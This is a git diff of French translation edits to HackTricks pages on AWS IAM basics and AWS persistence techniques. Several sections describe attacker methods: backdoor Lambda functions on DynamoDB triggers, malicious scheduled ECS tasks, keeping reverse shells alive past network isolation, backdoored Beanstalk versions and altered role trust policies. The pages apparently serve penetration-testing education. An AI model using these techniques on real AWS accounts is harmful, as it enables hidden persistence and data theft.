### MFA - Authentification Multi-Facteurs
Il est utilisé pour **créer un facteur supplémentaire pour l'authentification** en plus de vos méthodes existantes, telles que le mot de passe, créant ainsi un niveau d'authentification multi-facteurs.\
-Vous pouvez utiliser une **application virtuelle gratuite ou un appareil physique**. Vous pouvez utiliser des applications comme Google Authenticator gratuitement pour activer un MFA dans AWS.
+Vous pouvez utiliser une **application virtuelle gratuite ou un dispositif physique**. Vous pouvez utiliser des applications comme Google Authenticator gratuitement pour activer un MFA dans AWS.
Les politiques avec des conditions MFA peuvent être attachées aux éléments suivants :
@@ -124,7 +128,7 @@ Notez que **les informations d'identification `AssumeRole` ne contiennent pas ce
```bash
aws sts get-session-token --serial-number --token-code
```
-As [**indiqué ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), il existe de nombreux cas où **MFA ne peut pas être utilisé**.
+Comme [**indiqué ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), il existe de nombreux cas où **MFA ne peut pas être utilisé**.
### [Groupes d'utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
@@ -137,21 +141,21 @@ Voici quelques caractéristiques importantes des groupes d'utilisateurs :
- Un **groupe d'utilisateurs** peut **contenir plusieurs utilisateurs**, et un **utilisateur** peut **appartenir à plusieurs groupes**.
- **Les groupes d'utilisateurs ne peuvent pas être imbriqués** ; ils ne peuvent contenir que des utilisateurs, pas d'autres groupes d'utilisateurs.
- Il n'y a **pas de groupe d'utilisateurs par défaut qui inclut automatiquement tous les utilisateurs du compte AWS**. Si vous souhaitez avoir un groupe d'utilisateurs comme ça, vous devez le créer et assigner chaque nouvel utilisateur à celui-ci.
-- Le nombre et la taille des ressources IAM dans un compte AWS, comme le nombre de groupes, et le nombre de groupes dont un utilisateur peut être membre, sont limités. Pour plus d'informations, voir [Quotas IAM et AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+- Le nombre et la taille des ressources IAM dans un compte AWS, comme le nombre de groupes et le nombre de groupes dont un utilisateur peut être membre, sont limités. Pour plus d'informations, voir [Quotas IAM et AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [Rôles IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-Un **rôle IAM** est très **similaire** à un **utilisateur**, en ce sens qu'il s'agit d'une **identité avec des politiques d'autorisation qui déterminent ce qu'elle** peut et ne peut pas faire dans AWS. Cependant, un rôle **n'a pas de credentials** (mot de passe ou clés d'accès) qui lui sont associés. Au lieu d'être associé de manière unique à une personne, un rôle est destiné à être **assumé par quiconque en a besoin (et a suffisamment de permissions)**. Un **utilisateur IAM peut assumer un rôle pour temporairement** prendre des autorisations différentes pour une tâche spécifique. Un rôle peut être **assigné à un** [**utilisateur fédéré**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) qui se connecte en utilisant un fournisseur d'identité externe au lieu d'IAM.
+Un **rôle IAM** est très **similaire** à un **utilisateur**, en ce sens qu'il s'agit d'une **identité avec des politiques d'autorisation qui déterminent ce qu'il peut et ne peut pas faire dans AWS**. Cependant, un rôle **n'a pas de credentials** (mot de passe ou clés d'accès) qui lui sont associés. Au lieu d'être associé de manière unique à une personne, un rôle est destiné à être **assumé par quiconque en a besoin (et a suffisamment de permissions)**. Un **utilisateur IAM peut assumer un rôle pour temporairement** prendre des autorisations différentes pour une tâche spécifique. Un rôle peut être **assigné à un** [**utilisateur fédéré**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) qui se connecte en utilisant un fournisseur d'identité externe au lieu d'IAM.
Un rôle IAM se compose de **deux types de politiques** : Une **politique de confiance**, qui ne peut pas être vide, définissant **qui peut assumer** le rôle, et une **politique d'autorisation**, qui ne peut pas être vide, définissant **ce qu'il peut accéder**.
#### Service de jetons de sécurité AWS (STS)
-Le Service de jetons de sécurité AWS (STS) est un service web qui facilite **l'émission de credentials temporaires à privilèges limités**. Il est spécifiquement conçu pour :
+Le service de jetons de sécurité AWS (STS) est un service web qui facilite **l'émission de credentials temporaires à privilèges limités**. Il est spécifiquement conçu pour :
### [Credentials temporaires dans IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-**Les credentials temporaires sont principalement utilisés avec les rôles IAM**, mais il existe également d'autres utilisations. Vous pouvez demander des credentials temporaires qui ont un ensemble de permissions plus restreint que votre utilisateur IAM standard. Cela **empêche** que vous **effectuiez accidentellement des tâches qui ne sont pas autorisées** par les credentials plus restreints. Un avantage des credentials temporaires est qu'ils expirent automatiquement après une période déterminée. Vous avez le contrôle sur la durée pendant laquelle les credentials sont valides.
+Les **credentials temporaires sont principalement utilisés avec les rôles IAM**, mais il existe également d'autres utilisations. Vous pouvez demander des credentials temporaires qui ont un ensemble de permissions plus restreint que votre utilisateur IAM standard. Cela **empêche** que vous **effectuiez accidentellement des tâches qui ne sont pas autorisées** par les credentials plus restreints. Un avantage des credentials temporaires est qu'ils expirent automatiquement après une période déterminée. Vous avez le contrôle sur la durée pendant laquelle les credentials sont valides.
### Politiques
@@ -163,7 +167,7 @@ Sont utilisées pour attribuer des permissions. Il existe 2 types :
- Politiques gérées par le client : Configurées par vous. Vous pouvez créer des politiques basées sur des politiques gérées par AWS (en modifiant l'une d'elles et en créant la vôtre), en utilisant le générateur de politiques (une vue GUI qui vous aide à accorder et refuser des permissions) ou en écrivant la vôtre.
Par **défaut, l'accès** est **refusé**, l'accès sera accordé si un rôle explicite a été spécifié.\
-Si **un seul "Refuser" existe, il remplacera le "Autoriser"**, sauf pour les demandes qui utilisent les credentials de sécurité root du compte AWS (qui sont autorisées par défaut).
+Si **un "Deny" unique existe, il remplacera le "Allow"**, sauf pour les demandes qui utilisent les credentials de sécurité root du compte AWS (qui sont autorisées par défaut).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -189,26 +193,26 @@ Si **un seul "Refuser" existe, il remplacera le "Autoriser"**, sauf pour les dem
Les [champs globaux qui peuvent être utilisés pour des conditions dans n'importe quel service sont documentés ici](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
Les [champs spécifiques qui peuvent être utilisés pour des conditions par service sont documentés ici](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
-#### Politiques en ligne
+#### Politiques Inline
-Ce type de politiques est **directement attribué** à un utilisateur, un groupe ou un rôle. Ainsi, elles n'apparaissent pas dans la liste des politiques car d'autres peuvent les utiliser.\
-Les politiques en ligne sont utiles si vous souhaitez **maintenir une relation stricte un à un entre une politique et l'identité** à laquelle elle est appliquée. Par exemple, vous voulez vous assurer que les autorisations dans une politique ne sont pas attribuées par inadvertance à une identité autre que celle pour laquelle elles sont destinées. Lorsque vous utilisez une politique en ligne, les autorisations dans la politique ne peuvent pas être attachées par inadvertance à la mauvaise identité. De plus, lorsque vous utilisez la console de gestion AWS pour supprimer cette identité, les politiques intégrées à l'identité sont également supprimées. C'est parce qu'elles font partie de l'entité principale.
+Ce type de politiques est **directement attribué** à un utilisateur, un groupe ou un rôle. Ainsi, elles n'apparaissent pas dans la liste des Politiques car d'autres peuvent les utiliser.\
+Les politiques inline sont utiles si vous souhaitez **maintenir une relation stricte un à un entre une politique et l'identité** à laquelle elle est appliquée. Par exemple, vous voulez vous assurer que les autorisations dans une politique ne sont pas attribuées par inadvertance à une identité autre que celle pour laquelle elles sont destinées. Lorsque vous utilisez une politique inline, les autorisations dans la politique ne peuvent pas être attachées par inadvertance à la mauvaise identité. De plus, lorsque vous utilisez la console de gestion AWS pour supprimer cette identité, les politiques intégrées dans l'identité sont également supprimées. C'est parce qu'elles font partie de l'entité principale.
-#### Politiques de seau de ressources
+#### Politiques de Bucket de Ressources
Ce sont des **politiques** qui peuvent être définies dans des **ressources**. **Toutes les ressources d'AWS ne les prennent pas en charge**.
-Si un principal n'a pas de refus explicite à leur égard, et qu'une politique de ressource leur accorde l'accès, alors ils sont autorisés.
+Si un principal n'a pas de refus explicite à leur sujet, et qu'une politique de ressource leur accorde l'accès, alors ils sont autorisés.
### Limites IAM
Les limites IAM peuvent être utilisées pour **limiter les autorisations auxquelles un utilisateur ou un rôle devrait avoir accès**. De cette façon, même si un ensemble différent d'autorisations est accordé à l'utilisateur par une **politique différente**, l'opération **échouera** s'il essaie de les utiliser.
-Une limite est simplement une politique attachée à un utilisateur qui **indique le niveau maximum d'autorisations que l'utilisateur ou le rôle peut avoir**. Donc, **même si l'utilisateur a un accès Administrateur**, si la limite indique qu'il ne peut lire que des seaux S·, c'est le maximum qu'il peut faire.
+Une limite est simplement une politique attachée à un utilisateur qui **indique le niveau maximum d'autorisations que l'utilisateur ou le rôle peut avoir**. Donc, **même si l'utilisateur a un accès Administrateur**, si la limite indique qu'il ne peut lire que des buckets S·, c'est le maximum qu'il peut faire.
**Cela**, **les SCP** et **le respect du principe du moindre privilège** sont les moyens de contrôler que les utilisateurs n'ont pas plus d'autorisations que celles dont ils ont besoin.
-### Politiques de session
+### Politiques de Session
Une politique de session est une **politique définie lorsqu'un rôle est assumé** d'une manière ou d'une autre. Cela sera comme une **limite IAM pour cette session** : Cela signifie que la politique de session ne donne pas d'autorisations mais **les restreint à celles indiquées dans la politique** (les autorisations maximales étant celles que le rôle a).
@@ -220,14 +224,14 @@ aws sts assume-role \
[--policy-arns ]
[--policy ]
```
-Notez qu'en défaut, **AWS peut ajouter des politiques de session aux sessions** qui vont être générées pour d'autres raisons. Par exemple, dans [les rôles supposés cognito non authentifiés](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) par défaut (en utilisant une authentification améliorée), AWS générera **des identifiants de session avec une politique de session** qui limite les services auxquels la session peut accéder [**à la liste suivante**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Notez qu'en défaut, **AWS peut ajouter des politiques de session aux sessions** qui vont être générées pour d'autres raisons. Par exemple, dans [les rôles supposés cognito non authentifiés](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) par défaut (en utilisant l'authentification améliorée), AWS générera **des identifiants de session avec une politique de session** qui limite les services auxquels la session peut accéder [**à la liste suivante**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Par conséquent, si à un moment donné vous rencontrez l'erreur "... parce qu'aucune politique de session ne permet le ...", et que le rôle a accès pour effectuer l'action, c'est parce que **il y a une politique de session qui l'empêche**.
### Fédération d'identité
La fédération d'identité **permet aux utilisateurs des fournisseurs d'identité qui sont externes** à AWS d'accéder aux ressources AWS de manière sécurisée sans avoir à fournir les identifiants d'utilisateur AWS d'un compte IAM valide.\
-Un exemple de fournisseur d'identité peut être votre propre **Microsoft Active Directory** (via **SAML**) ou des services **OpenID** (comme **Google**). L'accès fédéré permettra alors aux utilisateurs de l'intérieur d'accéder à AWS.
+Un exemple de fournisseur d'identité peut être votre propre **Microsoft Active Directory** d'entreprise (via **SAML**) ou des services **OpenID** (comme **Google**). L'accès fédéré permettra alors aux utilisateurs de l'intérieur d'accéder à AWS.
Pour configurer cette confiance, un **fournisseur d'identité IAM est généré (SAML ou OAuth)** qui **fera confiance** à la **autre plateforme**. Ensuite, au moins un **rôle IAM est attribué (faisant confiance) au fournisseur d'identité**. Si un utilisateur de la plateforme de confiance accède à AWS, il le fera en accédant au rôle mentionné.
@@ -243,13 +247,13 @@ Le domaine de connexion sera quelque chose comme `.awsapps.com`.
Pour connecter les utilisateurs, il y a 3 sources d'identité qui peuvent être utilisées :
-- Répertoire du Centre d'identité : Utilisateurs AWS réguliers
+- Répertoire Identity Center : Utilisateurs AWS réguliers
- Active Directory : Prend en charge différents connecteurs
- Fournisseur d'identité externe : Tous les utilisateurs et groupes proviennent d'un fournisseur d'identité externe (IdP)
-Dans le cas le plus simple du répertoire du Centre d'identité, le **Centre d'identité aura une liste d'utilisateurs et de groupes** et pourra **attribuer des politiques** à eux pour **n'importe lequel des comptes** de l'organisation.
+Dans le cas le plus simple du répertoire Identity Center, le **Centre d'identité aura une liste d'utilisateurs et de groupes** et sera capable d'**attribuer des politiques** à eux pour **n'importe lequel des comptes** de l'organisation.
Pour donner accès à un utilisateur/groupe du Centre d'identité à un compte, un **fournisseur d'identité SAML faisant confiance au Centre d'identité sera créé**, et un **rôle faisant confiance au fournisseur d'identité avec les politiques indiquées sera créé** dans le compte de destination.
@@ -261,7 +265,7 @@ Par conséquent, même si vous voyez 2 rôles avec une politique en ligne appel
### Confiances et rôles inter-comptes
-**Un utilisateur** (faisant confiance) peut créer un rôle inter-comptes avec certaines politiques et ensuite, **permettre à un autre utilisateur** (de confiance) d'**accéder à son compte** mais seulement **avec l'accès indiqué dans les nouvelles politiques de rôle**. Pour créer cela, il suffit de créer un nouveau rôle et de sélectionner le rôle inter-comptes. Les rôles pour l'accès inter-comptes offrent deux options. Fournir un accès entre les comptes AWS que vous possédez, et fournir un accès entre un compte que vous possédez et un compte AWS tiers.\
+**Un utilisateur** (faisant confiance) peut créer un rôle inter-comptes avec certaines politiques et ensuite, **permettre à un autre utilisateur** (de confiance) d'**accéder à son compte** mais seulement **en ayant l'accès indiqué dans les nouvelles politiques de rôle**. Pour créer cela, il suffit de créer un nouveau rôle et de sélectionner le rôle inter-comptes. Les rôles pour l'accès inter-comptes offrent deux options. Fournir un accès entre les comptes AWS que vous possédez, et fournir un accès entre un compte que vous possédez et un compte AWS tiers.\
Il est recommandé de **spécifier l'utilisateur qui est de confiance et de ne pas mettre quelque chose de générique** car sinon, d'autres utilisateurs authentifiés comme les utilisateurs fédérés pourront également abuser de cette confiance.
### AWS Simple AD
@@ -282,7 +286,7 @@ L'application utilise AssumeRoleWithWebIdentity pour créer des identifiants tem
### Autres options IAM
-- Vous pouvez **définir une politique de mot de passe** avec des options comme la longueur minimale et les exigences de mot de passe.
+- Vous pouvez **définir un paramètre de politique de mot de passe** avec des options comme la longueur minimale et les exigences de mot de passe.
- Vous pouvez **télécharger un "Rapport d'identifiants"** avec des informations sur les identifiants actuels (comme le temps de création de l'utilisateur, si le mot de passe est activé...). Vous pouvez générer un rapport d'identifiants aussi souvent qu'une fois toutes les **quatre heures**.
La gestion des identités et des accès AWS (IAM) fournit un **contrôle d'accès granulaire** sur l'ensemble d'AWS. Avec IAM, vous pouvez spécifier **qui peut accéder à quels services et ressources**, et sous quelles conditions. Avec les politiques IAM, vous gérez les permissions de votre main-d'œuvre et de vos systèmes pour **assurer des permissions de moindre privilège**.
@@ -335,7 +339,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
-If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials.
+Si vous devez accéder à **différents comptes AWS** et que votre profil a été autorisé à **assumer un rôle dans ces comptes**, vous n'avez pas besoin d'appeler manuellement STS à chaque fois (`aws sts assume-role --role-arn --role-session-name sessname`) et de configurer les identifiants.
Vous pouvez utiliser le fichier `~/.aws/config` pour [**indiquer quels rôles assumer**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), puis utiliser le paramètre `--profile` comme d'habitude (l'`assume-role` sera effectué de manière transparente pour l'utilisateur).\
Un exemple de fichier de configuration :
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 47c68f503..4411a000d 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -1,4 +1,4 @@
-# AWS - Federation Abuse
+# AWS - Abus de Fédération
{{#include ../../../banners/hacktricks-training.md}}
@@ -10,9 +10,9 @@ Pour des informations sur SAML, veuillez consulter :
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-Pour configurer une **fédération d'identité via SAML**, vous devez simplement fournir un **nom** et le **XML de métadonnées** contenant toute la configuration SAML (**points de terminaison**, **certificat** avec clé publique)
+Pour configurer une **Fédération d'Identité via SAML**, vous devez simplement fournir un **nom** et le **XML de métadonnées** contenant toute la configuration SAML (**points de terminaison**, **certificat** avec clé publique)
-## OIDC - Abus des actions Github
+## OIDC - Abus des Actions Github
Pour ajouter une action github en tant que fournisseur d'identité :
@@ -45,7 +45,7 @@ Pour ajouter une action github en tant que fournisseur d'identité :
}
```
6. Notez dans la politique précédente comment seule une **branche** du **dépôt** d'une **organisation** a été autorisée avec un **déclencheur** spécifique.
-7. L'**ARN** du **rôle** que l'action github va pouvoir **imiter** sera le "secret" que l'action github doit connaître, donc **stockez-le** à l'intérieur d'un **secret** dans un **environnement**.
+7. L'**ARN** du **rôle** que l'action github va pouvoir **imiter** sera le "secret" que l'action github doit connaître, donc **stockez-le** dans un **secret** à l'intérieur d'un **environnement**.
8. Enfin, utilisez une action github pour configurer les identifiants AWS à utiliser par le workflow :
```yaml
name: "test AWS Access"
@@ -108,9 +108,9 @@ Il est possible de générer des **OIDC providers** dans un **EKS** cluster simp
]
}
```
-Cette politique indique correctement que **seulement** le **cluster EKS** avec **id** `20C159CDF6F2349B68846BEC03BE031B` peut assumer le rôle. Cependant, elle n'indique pas quel compte de service peut l'assumer, ce qui signifie que **N'IMPORTE quel compte de service avec un jeton d'identité web** va **pouvoir assumer** le rôle.
+Cette politique indique correctement que **seulement** le **cluster EKS** avec **l'id** `20C159CDF6F2349B68846BEC03BE031B` peut assumer le rôle. Cependant, elle n'indique pas quel compte de service peut l'assumer, ce qui signifie que **N'IMPORTE quel compte de service avec un jeton d'identité web** va **pouvoir assumer** le rôle.
-Pour spécifier **quel compte de service devrait pouvoir assumer le rôle,** il est nécessaire de spécifier une **condition** où le **nom du compte de service est spécifié**, comme :
+Pour spécifier **quel compte de service devrait pouvoir assumer le rôle,** il est nécessaire de spécifier une **condition** où **le nom du compte de service est spécifié**, comme :
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index ee302deca..30a9976ae 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -10,8 +10,8 @@ Voici les permissions dont vous avez besoin sur chaque compte AWS que vous souha
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
-- Optionnel si le client génère les analyseurs pour vous, mais généralement, il est plus facile de demander simplement cette permission)
+- Optionnel si le client génère les analyseurs pour vous, mais généralement, il est plus facile de demander cette permission)
- **access-analyzer:DeleteAnalyzer**
-- Optionnel si le client supprime les analyseurs pour vous, mais généralement, il est plus facile de demander simplement cette permission)
+- Optionnel si le client supprime les analyseurs pour vous, mais généralement, il est plus facile de demander cette permission)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
index eb452d3d4..80d869996 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
@@ -10,21 +10,21 @@ Pour plus d'informations, allez à :
../aws-services/aws-api-gateway-enum.md
{{#endref}}
-### Resource Policy
+### Politique de Ressource
Modifiez la politique de ressource des API gateway pour vous accorder l'accès.
-### Modify Lambda Authorizers
+### Modifier les Authorizers Lambda
Modifiez le code des authorizers lambda pour vous accorder l'accès à tous les points de terminaison.\
Ou supprimez simplement l'utilisation de l'authorizer.
-### IAM Permissions
+### Permissions IAM
Si une ressource utilise un authorizer IAM, vous pourriez vous accorder l'accès en modifiant les permissions IAM.\
Ou supprimez simplement l'utilisation de l'authorizer.
-### API Keys
+### Clés API
Si des clés API sont utilisées, vous pourriez les leak pour maintenir la persistance ou même en créer de nouvelles.\
Ou supprimez simplement l'utilisation des clés API.
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index aaf23f2ec..e2769f358 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -10,9 +10,9 @@ Pour plus d'informations, accédez à :
../aws-services/aws-dynamodb-enum.md
{{#endref}}
-### Déclencheurs DynamoDB avec Backdoor Lambda
+### Déclencheurs DynamoDB avec une porte dérobée Lambda
-En utilisant des déclencheurs DynamoDB, un attaquant peut créer une **backdoor discrète** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire au sein du compte AWS.
+En utilisant des déclencheurs DynamoDB, un attaquant peut créer une **porte dérobée discrète** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire au sein du compte AWS.
```bash
# Create a malicious Lambda function
aws lambda create-function \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index e38899bb0..5ab5d02a3 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -10,11 +10,11 @@ Pour plus d'informations, consultez :
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
-### Suivi de connexion du groupe de sécurité
+### Persistence de suivi de connexion du groupe de sécurité
-Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACL affectent tout le sous-réseau), ou en **modifiant le groupe de sécurité** pour ne pas autoriser **aucun type de trafic entrant ou sortant**.
+Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACL affectent tout le sous-réseau), ou en **modifiant le groupe de sécurité** pour ne pas permettre **aucun type de trafic entrant ou sortant**.
-Si l'attaquant avait un **reverse shell provenant de la machine**, même si le SG est modifié pour ne pas autoriser le trafic entrant ou sortant, la **connexion ne sera pas interrompue en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+Si l'attaquant avait un **reverse shell provenant de la machine**, même si le SG est modifié pour ne pas permettre de trafic entrant ou sortant, la **connexion ne sera pas interrompue en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
### Gestionnaire de cycle de vie EC2
@@ -23,11 +23,11 @@ Un attaquant pourrait configurer la **génération d'AMIs ou de snapshots** de t
### Instances programmées
-Il est possible de programmer des instances pour qu'elles s'exécutent quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait exécuter une machine avec des privilèges élevés ou un accès intéressant où il pourrait accéder.
+Il est possible de programmer des instances pour s'exécuter quotidiennement, hebdomadairement ou même mensuellement. Un attaquant pourrait exécuter une machine avec des privilèges élevés ou un accès intéressant où il pourrait accéder.
### Demande de flotte Spot
-Les instances Spot sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite demande de flotte Spot pour 5 ans** (par exemple), avec une **attribution IP automatique** et des **données utilisateur** qui envoient à l'attaquant **lorsque l'instance Spot démarre** et l'**adresse IP** et avec un **rôle IAM à privilèges élevés**.
+Les instances Spot sont **moins chères** que les instances régulières. Un attaquant pourrait lancer une **petite demande de flotte Spot pour 5 ans** (par exemple), avec une **attribution automatique d'IP** et des **données utilisateur** qui envoient à l'attaquant **quand l'instance Spot démarre** et l'**adresse IP** et avec un **rôle IAM à privilèges élevés**.
### Instances de porte dérobée
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 9b57641bb..24c587671 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -41,7 +41,7 @@ aws ecr set-repository-policy \
}
```
> [!WARNING]
-> Notez que ECR exige que les utilisateurs aient **la permission** d'effectuer des appels à l'API **`ecr:GetAuthorizationToken`** via une politique IAM **avant de pouvoir s'authentifier** auprès d'un registre et pousser ou tirer des images de tout dépôt Amazon ECR.
+> Notez que ECR nécessite que les utilisateurs aient **la permission** d'effectuer des appels à l'API **`ecr:GetAuthorizationToken`** via une politique IAM **avant de pouvoir s'authentifier** auprès d'un registre et pousser ou tirer des images de tout dépôt Amazon ECR.
### Politique de Registre & Réplication Inter-comptes
@@ -49,7 +49,7 @@ Il est possible de répliquer automatiquement un registre dans un compte externe
-Tout d'abord, vous devez donner au compte externe un accès au registre avec une **politique de registre** comme :
+Tout d'abord, vous devez donner au compte externe un accès sur le registre avec une **politique de registre** comme :
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 5dc93116f..97cdf9b1e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -15,7 +15,7 @@ Pour plus d'informations, consultez :
> [!NOTE]
> TODO: Test
-Un attaquant peut créer une tâche ECS périodique cachée en utilisant Amazon EventBridge pour **planifier l'exécution d'une tâche malveillante périodiquement**. Cette tâche peut effectuer des reconnaissances, exfiltrer des données ou maintenir la persistance dans le compte AWS.
+Un attaquant peut créer une tâche ECS périodique cachée en utilisant Amazon EventBridge pour **programmer l'exécution d'une tâche malveillante périodiquement**. Cette tâche peut effectuer de la reconnaissance, exfiltrer des données ou maintenir la persistance dans le compte AWS.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index f9a584abd..08e55657d 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -14,18 +14,18 @@ Pour plus d'informations, consultez :
Afin de maintenir la persistance à l'intérieur du compte AWS, certains **mécanismes de persistance pourraient être introduits à l'intérieur de l'instance** (tâche cron, clé ssh...) afin que l'attaquant puisse y accéder et voler les **identifiants du rôle IAM depuis le service de métadonnées**.
-### Porte dérobée dans la Version
+### Backdoor dans la Version
-Un attaquant pourrait introduire une porte dérobée dans le code à l'intérieur du dépôt S3 afin qu'il exécute toujours sa porte dérobée et le code attendu.
+Un attaquant pourrait introduire une backdoor dans le code à l'intérieur du dépôt S3 afin qu'il exécute toujours sa backdoor et le code attendu.
-### Nouvelle version avec porte dérobée
+### Nouvelle version avec backdoor
-Au lieu de modifier le code de la version actuelle, l'attaquant pourrait déployer une nouvelle version de l'application avec une porte dérobée.
+Au lieu de modifier le code de la version actuelle, l'attaquant pourrait déployer une nouvelle version de l'application avec backdoor.
### Abus des Hooks de Cycle de Vie des Ressources Personnalisées
> [!NOTE]
-> TODO: Tester
+> TODO: Test
Elastic Beanstalk fournit des hooks de cycle de vie qui vous permettent d'exécuter des scripts personnalisés lors de la provision et de la terminaison des instances. Un attaquant pourrait **configurer un hook de cycle de vie pour exécuter périodiquement un script qui exfiltre des données ou maintient l'accès au compte AWS**.
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index acf8be977..8c8efb1da 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -10,18 +10,18 @@ Pour plus d'informations, accédez à :
../aws-services/aws-iam-enum.md
{{#endref}}
-### Persistence IAM Courante
+### Persistence IAM courante
- Créer un utilisateur
- Ajouter un utilisateur contrôlé à un groupe privilégié
-- Créer des clés d'accès (de nouveau utilisateur ou de tous les utilisateurs)
+- Créer des clés d'accès (de l'utilisateur nouvel ou de tous les utilisateurs)
- Accorder des permissions supplémentaires aux utilisateurs/groupes contrôlés (politiques attachées ou politiques en ligne)
- Désactiver MFA / Ajouter votre propre appareil MFA
-- Créer une situation de Chaîne de Rôle Juggling (plus d'informations ci-dessous dans la persistance STS)
+- Créer une situation de jonglage de chaîne de rôle (plus d'informations ci-dessous dans la persistance STS)
-### Politiques de Confiance de Rôle Backdoor
+### Politiques de confiance de rôle de porte dérobée
-Vous pourriez backdoor une politique de confiance pour pouvoir l'assumer pour une ressource externe contrôlée par vous (ou pour tout le monde) :
